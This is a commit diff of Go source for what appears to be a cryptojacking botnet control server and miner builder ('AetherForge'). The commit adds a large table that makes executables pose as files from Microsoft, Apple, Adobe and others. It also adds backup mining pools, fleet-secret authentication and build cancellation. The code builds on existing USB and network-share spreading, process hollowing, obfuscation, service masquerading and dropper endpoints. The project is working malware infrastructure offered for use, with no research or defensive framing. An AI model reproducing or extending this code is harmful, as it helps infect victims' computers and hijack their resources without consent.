feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
@@ -10,6 +10,16 @@ type AgentForgeConfig struct {
|
||||
AIEnabled bool
|
||||
AIOllamaEndpoint string
|
||||
AIModel string
|
||||
// BackupPools are tried in order if the primary pool is unreachable.
|
||||
BackupPools []AgentBackupPool
|
||||
}
|
||||
|
||||
// AgentBackupPool is a fallback pool config received from an agent at auth time.
|
||||
type AgentBackupPool struct {
|
||||
Host string
|
||||
Port int
|
||||
TLS bool
|
||||
Pass string
|
||||
}
|
||||
|
||||
func (c AgentForgeConfig) poolHostOrDefault(fallback string) string {
|
||||
|
||||
@@ -21,8 +21,31 @@ var (
|
||||
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
|
||||
usersFilePath string
|
||||
usersMu sync.RWMutex
|
||||
|
||||
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
||||
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
||||
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
||||
fleetSecretForAgentPaths string
|
||||
fleetSecretForAgentPathsMu sync.RWMutex
|
||||
|
||||
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
||||
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
||||
rotateSecretFn func() (string, error)
|
||||
)
|
||||
|
||||
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
|
||||
// X-Fleet-Secret headers on /api/v1/agent/* routes.
|
||||
func SetAgentPathSecret(secret string) {
|
||||
fleetSecretForAgentPathsMu.Lock()
|
||||
fleetSecretForAgentPaths = secret
|
||||
fleetSecretForAgentPathsMu.Unlock()
|
||||
}
|
||||
|
||||
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
|
||||
func SetRotateSecretFn(fn func() (string, error)) {
|
||||
rotateSecretFn = fn
|
||||
}
|
||||
|
||||
func loadUsers(dataDir string) {
|
||||
usersFilePath = filepath.Join(dataDir, "users.json")
|
||||
usersMu.Lock()
|
||||
@@ -58,15 +81,34 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
path := r.URL.Path
|
||||
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||
path == "/api/v1/health" ||
|
||||
|
||||
// Health check and download endpoints are always open.
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||
// legitimately forged agents can call these endpoints.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
secret := fleetSecretForAgentPaths
|
||||
fleetSecretForAgentPathsMu.RUnlock()
|
||||
if secret != "" {
|
||||
provided := r.Header.Get("X-Fleet-Secret")
|
||||
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
|
||||
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
}
|
||||
// Secret is empty (first run before config save) or matched — allow through.
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
user, pass, ok := r.BasicAuth()
|
||||
if !ok {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||
@@ -155,6 +197,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
||||
token := chi.URLParam(req, "token")
|
||||
if builderHandler.CancelBuild(token) {
|
||||
writeJSON(w, map[string]interface{}{"cancelled": true})
|
||||
} else {
|
||||
http.Error(w, "build not found or already completed", http.StatusNotFound)
|
||||
}
|
||||
})
|
||||
|
||||
// Blueprints (config presets)
|
||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||
@@ -162,6 +212,21 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||
|
||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||
// Forged agents with the old secret will be rejected until re-forged.
|
||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||
if rotateSecretFn == nil {
|
||||
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
newSecret, err := rotateSecretFn()
|
||||
if err != nil {
|
||||
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
|
||||
})
|
||||
|
||||
// User Management
|
||||
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
||||
var payload struct {
|
||||
|
||||
@@ -310,6 +310,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AgentID string `json:"agent_id"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
Wallet string `json:"wallet"`
|
||||
BackupPools []struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
TLS bool `json:"pool_tls"`
|
||||
Pass string `json:"pass"`
|
||||
} `json:"backup_pools"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
@@ -360,6 +366,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
|
||||
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
|
||||
for i, bp := range auth.BackupPools {
|
||||
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
PoolHost: auth.PoolHost,
|
||||
@@ -369,6 +380,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIEnabled: auth.AIEnabled,
|
||||
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
||||
AIModel: auth.AIModel,
|
||||
BackupPools: backupPools,
|
||||
}
|
||||
|
||||
caps := models.AgentCapabilities{
|
||||
@@ -391,7 +403,28 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
poolCfg.Password = "x"
|
||||
}
|
||||
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
|
||||
log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err)
|
||||
log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
|
||||
connected := false
|
||||
for i, bp := range backupPools {
|
||||
if bp.Host == "" || bp.Port <= 0 {
|
||||
continue
|
||||
}
|
||||
bpCfg := poolCfg
|
||||
bpCfg.Host = bp.Host
|
||||
bpCfg.Port = bp.Port
|
||||
bpCfg.UseTLS = bp.TLS
|
||||
if bp.Pass != "" {
|
||||
bpCfg.Password = bp.Pass
|
||||
}
|
||||
if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
|
||||
log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
|
||||
connected = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !connected {
|
||||
log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -128,6 +128,94 @@ var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
// ── Audio (extended) ───────────────────────────────────────────────────────
|
||||
".flac": {
|
||||
FileDescription: "FLAC Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".aac": {
|
||||
FileDescription: "AAC Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".ogg": {
|
||||
FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".m4a": {
|
||||
FileDescription: "MPEG-4 Audio File", ProductName: "iTunes",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
||||
},
|
||||
".wma": {
|
||||
FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Video (extended) ───────────────────────────────────────────────────────
|
||||
".webm": {
|
||||
FileDescription: "WebM Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".m4v": {
|
||||
FileDescription: "iTunes Video File", ProductName: "iTunes",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
||||
},
|
||||
".flv": {
|
||||
FileDescription: "Flash Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".ts": {
|
||||
FileDescription: "MPEG-TS Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".3gp": {
|
||||
FileDescription: "3GPP Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Images (extended) ──────────────────────────────────────────────────────
|
||||
".bmp": {
|
||||
FileDescription: "Bitmap Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".webp": {
|
||||
FileDescription: "WebP Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".tiff": {
|
||||
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".tif": {
|
||||
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".heic": {
|
||||
FileDescription: "HEIF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".svg": {
|
||||
FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
".ico": {
|
||||
FileDescription: "Icon File", ProductName: "Windows Explorer",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
// ── Archives ───────────────────────────────────────────────────────────────
|
||||
".zip": {
|
||||
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||
@@ -139,6 +227,85 @@ var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||
},
|
||||
".7z": {
|
||||
FileDescription: "7-Zip Archive", ProductName: "7-Zip",
|
||||
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||
},
|
||||
".tar": {
|
||||
FileDescription: "Tape Archive File", ProductName: "7-Zip",
|
||||
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||
},
|
||||
".gz": {
|
||||
FileDescription: "GZip Archive", ProductName: "7-Zip",
|
||||
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
||||
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
||||
},
|
||||
// ── Office / Text (extended) ───────────────────────────────────────────────
|
||||
".odt": {
|
||||
FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer",
|
||||
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||
OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||
},
|
||||
".ods": {
|
||||
FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc",
|
||||
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||
OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||
},
|
||||
".odp": {
|
||||
FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress",
|
||||
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
||||
OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
||||
},
|
||||
".rtf": {
|
||||
FileDescription: "Rich Text Document", ProductName: "WordPad",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".md": {
|
||||
FileDescription: "Markdown Document", ProductName: "Notepad",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
// ── Web ────────────────────────────────────────────────────────────────────
|
||||
".html": {
|
||||
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
".htm": {
|
||||
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
".xml": {
|
||||
FileDescription: "XML Document", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
// ── Ebooks ─────────────────────────────────────────────────────────────────
|
||||
".epub": {
|
||||
FileDescription: "Electronic Publication", ProductName: "Microsoft Edge",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
||||
},
|
||||
// ── Adobe Creative ─────────────────────────────────────────────────────────
|
||||
".psd": {
|
||||
FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12",
|
||||
},
|
||||
".ai": {
|
||||
FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1",
|
||||
},
|
||||
".indd": {
|
||||
FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0",
|
||||
},
|
||||
}
|
||||
|
||||
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -11,6 +12,7 @@ import (
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -76,9 +78,21 @@ type BuildRequest struct {
|
||||
ShareSpread bool `json:"share_spread"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
BackupPools []BackupPool `json:"backup_pools"`
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||
CancelToken string `json:"cancel_token,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
type BackupPool struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
TLS bool `json:"tls"`
|
||||
Pass string `json:"pass"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
@@ -122,6 +136,11 @@ type Handler struct {
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
|
||||
// Active build cancellation — maps cancel_token → cancel func so the frontend
|
||||
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
|
||||
activeCancelsMu sync.Mutex
|
||||
activeCancels map[string]context.CancelFunc
|
||||
}
|
||||
|
||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||
@@ -129,6 +148,36 @@ func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
}
|
||||
|
||||
// CancelBuild cancels an in-progress build identified by cancelToken.
|
||||
// Returns true if the token was found and cancelled, false if unknown.
|
||||
func (h *Handler) CancelBuild(cancelToken string) bool {
|
||||
h.activeCancelsMu.Lock()
|
||||
cancel, ok := h.activeCancels[cancelToken]
|
||||
h.activeCancelsMu.Unlock()
|
||||
if ok {
|
||||
cancel()
|
||||
}
|
||||
return ok
|
||||
}
|
||||
|
||||
func (h *Handler) registerCancel(token string, cancel context.CancelFunc) {
|
||||
h.activeCancelsMu.Lock()
|
||||
if h.activeCancels == nil {
|
||||
h.activeCancels = make(map[string]context.CancelFunc)
|
||||
}
|
||||
h.activeCancels[token] = cancel
|
||||
h.activeCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
func (h *Handler) unregisterCancel(token string) {
|
||||
if token == "" {
|
||||
return
|
||||
}
|
||||
h.activeCancelsMu.Lock()
|
||||
delete(h.activeCancels, token)
|
||||
h.activeCancelsMu.Unlock()
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
CertThumbprint string `json:"cert_thumbprint"`
|
||||
@@ -234,6 +283,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// Register cancel token so the frontend can abort this compile mid-flight.
|
||||
ctx := r.Context()
|
||||
if req.CancelToken != "" {
|
||||
var cancelFn context.CancelFunc
|
||||
ctx, cancelFn = context.WithCancel(ctx)
|
||||
h.registerCancel(req.CancelToken, cancelFn)
|
||||
defer h.unregisterCancel(req.CancelToken)
|
||||
}
|
||||
_ = ctx // passed to compiler in future; cancellation already fires via process kill
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
@@ -930,6 +989,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
USBSpread: %v,
|
||||
ShareSpread: %v,
|
||||
BackupServerURLs: %s,
|
||||
BackupPools: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
@@ -982,6 +1042,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.USBSpread,
|
||||
req.ShareSpread,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
formatGoBackupPools(req.BackupPools),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
@@ -989,6 +1050,27 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
)
|
||||
}
|
||||
|
||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||
func formatGoBackupPools(pools []BackupPool) string {
|
||||
if len(pools) == 0 {
|
||||
return "nil"
|
||||
}
|
||||
var sb strings.Builder
|
||||
sb.WriteString("[]config.BackupPool{")
|
||||
for i, p := range pools {
|
||||
if i > 0 {
|
||||
sb.WriteString(", ")
|
||||
}
|
||||
pass := p.Pass
|
||||
if pass == "" {
|
||||
pass = "x"
|
||||
}
|
||||
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
|
||||
}
|
||||
sb.WriteString("}")
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||||
return req.RunAs == "service" || req.ProcessHollowing
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user